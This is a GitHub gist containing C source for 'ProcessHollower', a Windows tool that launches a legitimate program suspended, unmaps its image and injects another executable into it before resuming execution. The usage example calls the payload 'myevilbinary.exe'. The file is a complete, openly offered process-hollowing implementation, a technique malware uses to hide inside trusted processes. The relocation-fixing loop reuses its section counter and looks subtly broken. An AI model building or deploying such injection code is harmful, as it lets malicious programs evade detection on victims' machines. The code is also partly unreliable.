Skip to content

Instantly share code, notes, and snippets.

@hugsy
Created April 25, 2016 11:00
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save hugsy/f60ca6f01839bb56e3cc1ffa0b4e2f75 to your computer and use it in GitHub Desktop.
Save hugsy/f60ca6f01839bb56e3cc1ffa0b4e2f75 to your computer and use it in GitHub Desktop.
ProcessHollower: Hide a executable inside the runtime of another one
/**
*
* ProcessHollower: Hide a executable inside the runtime of another one
*
* Compile with
* C:> cl.exe ProcessHollower.c
*
* Execute with:
* C:> ProcessHollower.exe notepad.exe myevilbinary.exe
*
* Ref:
* http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtUnmapViewOfSection.html
* https://www.trustwave.com/Resources/SpiderLabs-Blog/Analyzing-Malware-Hollow-Processes/
*
* @_hugsy_
*/
#include <Windows.h>
#include <Winternl.h>
#include <stdlib.h>
#include <Strsafe.h>
/* From http://pastebin.com/02qfYfXf */
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
#define CountRelocationEntries(dwBlockSize) \
(dwBlockSize - \
sizeof(BASE_RELOCATION_BLOCK)) / \
sizeof(BASE_RELOCATION_ENTRY)
typedef NTSTATUS (__stdcall *NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
void ErrorExit(LPTSTR lpszFunction, BOOL bIsFatal)
{
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("[-] %s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
printf((LPCTSTR)lpDisplayBuf);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
if (bIsFatal)
ExitProcess(dw);
}
int main(int argc, char** argv, char** envp)
{
BOOL res;
LPTSTR lpProcessHost, lpProcessInfector;
STARTUPINFO siProcessHost;
PROCESS_INFORMATION piProcessHost;
PIMAGE_DOS_HEADER pInfectorDosHeader;
PIMAGE_NT_HEADERS pInfectorNtHeaders;
NTSTATUS nt;
DWORD i, j;
if(argc < 3){
printf("[-] Usage: %s \\Path\\To\\ProcessHost.exe \\Path\\To\\Infector.exe", argv[0]);
return -1;
}
ZeroMemory( &siProcessHost, sizeof(STARTUPINFO) );
ZeroMemory( &piProcessHost, sizeof(PROCESS_INFORMATION) );
lpProcessHost = argv[1];
lpProcessInfector = argv[2];
/* Create the host process in suspended state using CreateProcess function. */
res = CreateProcess(NULL,
lpProcessHost,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&siProcessHost,
&piProcessHost);
if(!res)
ErrorExit("CreateProcess", TRUE);
printf("[+] Process '%s' opened as PID=%d with TID=%d SUSPENDED\n",
lpProcessHost,
piProcessHost.dwProcessId,
piProcessHost.dwThreadId);
/*
Get the context of the process's primary thread. The eax register is the
entry point of the process's executable, and the ebx register is the address
of the process's PEB.
Ref: https://source.winehq.org/source/include/winnt.h#L0912
*/
CONTEXT ctxHostThreadContext;
ZeroMemory(&ctxHostThreadContext, sizeof(CONTEXT));
ctxHostThreadContext.ContextFlags = CONTEXT_FULL;
res = GetThreadContext(piProcessHost.hThread, &ctxHostThreadContext);
if(!res)
ErrorExit("GetThreadContext", TRUE);
DWORD dwHostEntryPoint = ctxHostThreadContext.Eax;
DWORD dwHostPeb = ctxHostThreadContext.Ebx;
if(!dwHostEntryPoint || !dwHostPeb){
printf("GetThreadContext failed\n");
ExitProcess(-1);
}
PPEB pHostPeb = (PPEB)dwHostPeb;
printf("[+] Host entry point is %#x\n[+] Host PEB at %#x\n", dwHostEntryPoint, dwHostPeb);
/* Read infector binary */
HANDLE hdl = CreateFileA(lpProcessInfector,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hdl == INVALID_HANDLE_VALUE)
ErrorExit("CreateFileA", TRUE);
DWORD dwInfectorSize = GetFileSize(hdl, NULL);
LPBYTE lpInfector = VirtualAlloc(NULL, dwInfectorSize, MEM_COMMIT, PAGE_READWRITE);
if(!lpInfector)
ErrorExit("VirtualAlloc", TRUE);
DWORD dwNumberOfBytesRead;
res = ReadFile(hdl, lpInfector, dwInfectorSize, &dwNumberOfBytesRead, 0);
if (res==FALSE)
ErrorExit("ReadFile", TRUE);
CloseHandle(hdl);
printf("[+] Read %d bytes of '%s'\n", dwNumberOfBytesRead, lpProcessInfector);
pInfectorDosHeader = (PIMAGE_DOS_HEADER)lpInfector;
pInfectorNtHeaders = (PIMAGE_NT_HEADERS)(lpInfector+pInfectorDosHeader->e_lfanew);
if( pInfectorNtHeaders->Signature != 0x00004550 ){
printf("Invalid PE signature\n");
ExitProcess(-1);
}
PIMAGE_OPTIONAL_HEADER pInfectorOptHeaders = &(pInfectorNtHeaders->OptionalHeader);
printf("[+] PE image base=%#x\n", pInfectorOptHeaders->ImageBase);
printf("[+] PE image size=%#x\n", pInfectorOptHeaders->SizeOfImage);
/* Unmap host image page */
NtUnmapViewOfSection fNtUnmapViewOfSection = (NtUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtUnmapViewOfSection");
if (!fNtUnmapViewOfSection)
ErrorExit("GetProcAddress", TRUE);
fNtUnmapViewOfSection(piProcessHost.hProcess, pInfectorOptHeaders->ImageBase);
printf("[+] Unmapped image section of '%s'(PID=%d)\n", lpProcessHost, piProcessHost.dwProcessId);
/* Allocate image code within host */
LPVOID lpCode = VirtualAllocEx(piProcessHost.hProcess,
(LPVOID)pInfectorOptHeaders->ImageBase,
pInfectorOptHeaders->SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if(!lpCode)
ErrorExit("VirtualAllocEx", TRUE);
printf("[+] Allocated RWX block of %d bytes at %#x\n", pInfectorOptHeaders->SizeOfImage, lpCode);
/* Overwrite sections of host with the ones of the infector */
DWORD dwNumberOfBytesWritten;
res = WriteProcessMemory(piProcessHost.hProcess,
(LPVOID)pInfectorOptHeaders->ImageBase,
lpInfector,
pInfectorOptHeaders->SizeOfHeaders,
&dwNumberOfBytesWritten);
if(!res || dwNumberOfBytesWritten!=pInfectorOptHeaders->SizeOfHeaders)
ErrorExit("WriteProcessMemory", TRUE);
printf("[+] %d bytes overwritten at %#x\n", dwNumberOfBytesWritten, pInfectorOptHeaders->ImageBase);
printf("[+] Copying %d sections of '%s'\n", pInfectorNtHeaders->FileHeader.NumberOfSections, lpProcessInfector);
for(i=0; i<pInfectorNtHeaders->FileHeader.NumberOfSections; i++) {
DWORD dwSectionOffset = pInfectorDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER)*i);
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)&lpInfector[dwSectionOffset];
DWORD dwVirtualAddress = pInfectorOptHeaders->ImageBase + pSectionHeader->VirtualAddress;
DWORD dwRawDataAddr = (DWORD)&lpInfector[pSectionHeader->PointerToRawData];
SIZE_T sz = pSectionHeader->SizeOfRawData;
printf("[+] Copying %d bytes of '%s' from %#x to %#x\n", sz, pSectionHeader->Name, dwRawDataAddr, dwVirtualAddress);
res = WriteProcessMemory(piProcessHost.hProcess,(LPVOID)dwVirtualAddress,(LPVOID)dwRawDataAddr, sz, &dwNumberOfBytesWritten);
if(!res || dwNumberOfBytesWritten!=sz)
ErrorExit("WriteProcessMemory", TRUE);
/*
We do an extra check because the relocation section is corrupted and any
jump to it will generate an access violation. So it must be fixed.
*/
if(!strncmp(pSectionHeader->Name, ".reloc", 6)){
IMAGE_DATA_DIRECTORY pRelocationTable = pInfectorOptHeaders->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
printf("[+] Fixing relocation table (%d bytes)\n", pRelocationTable.Size);
while(i < pRelocationTable.Size){
PBASE_RELOCATION_BLOCK pBlockHeader = (PBASE_RELOCATION_BLOCK)&lpInfector[dwRawDataAddr + i];
i += sizeof(BASE_RELOCATION_BLOCK);
PBASE_RELOCATION_ENTRY pBlocks = (PBASE_RELOCATION_ENTRY)&lpInfector[dwRawDataAddr + i];
i += sizeof(BASE_RELOCATION_ENTRY);
j = 0;
while(j<CountRelocationEntries(pBlockHeader->BlockSize)){
BASE_RELOCATION_ENTRY pEntry = pBlocks[i];
DWORD dwBase = 0;
DWORD dwOffset = pBlockHeader->PageAddress + pEntry.Offset;
ReadProcessMemory(piProcessHost.hProcess,
(LPBYTE)pHostPeb->Reserved3[1] + dwOffset,
&dwBase,
sizeof(DWORD),
NULL);
printf("old=%d ", dwBase);
dwBase += (DWORD)pHostPeb->Reserved3[1] - pInfectorOptHeaders->ImageBase;
printf("new=%d\n", dwBase);
WriteProcessMemory(piProcessHost.hProcess,
(LPBYTE)pHostPeb->Reserved3[1] + dwOffset,
&dwBase,
sizeof(DWORD),
NULL);
j++;
i += sizeof(BASE_RELOCATION_ENTRY);
}
}
}
}
/* Update entry point address and update thread context */
ctxHostThreadContext.Eax = pInfectorNtHeaders->OptionalHeader.ImageBase + pInfectorNtHeaders->OptionalHeader.AddressOfEntryPoint;
res = SetThreadContext(piProcessHost.hThread, &ctxHostThreadContext);
if(!res)
ErrorExit("SetThreadContext", TRUE);
printf("[+] New context set: EntryPoint goes to %#x\n", ctxHostThreadContext.Eax);
/* Resume the host thread. */
printf("[+] Resuming primary thread of PID=%d\n", piProcessHost.dwProcessId);
ResumeThread(piProcessHost.hThread);
/* Bye bye */
printf("[+] Success\n");
CloseHandle(piProcessHost.hThread);
CloseHandle(piProcessHost.hProcess);
VirtualFree(lpInfector, dwInfectorSize, MEM_DECOMMIT);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment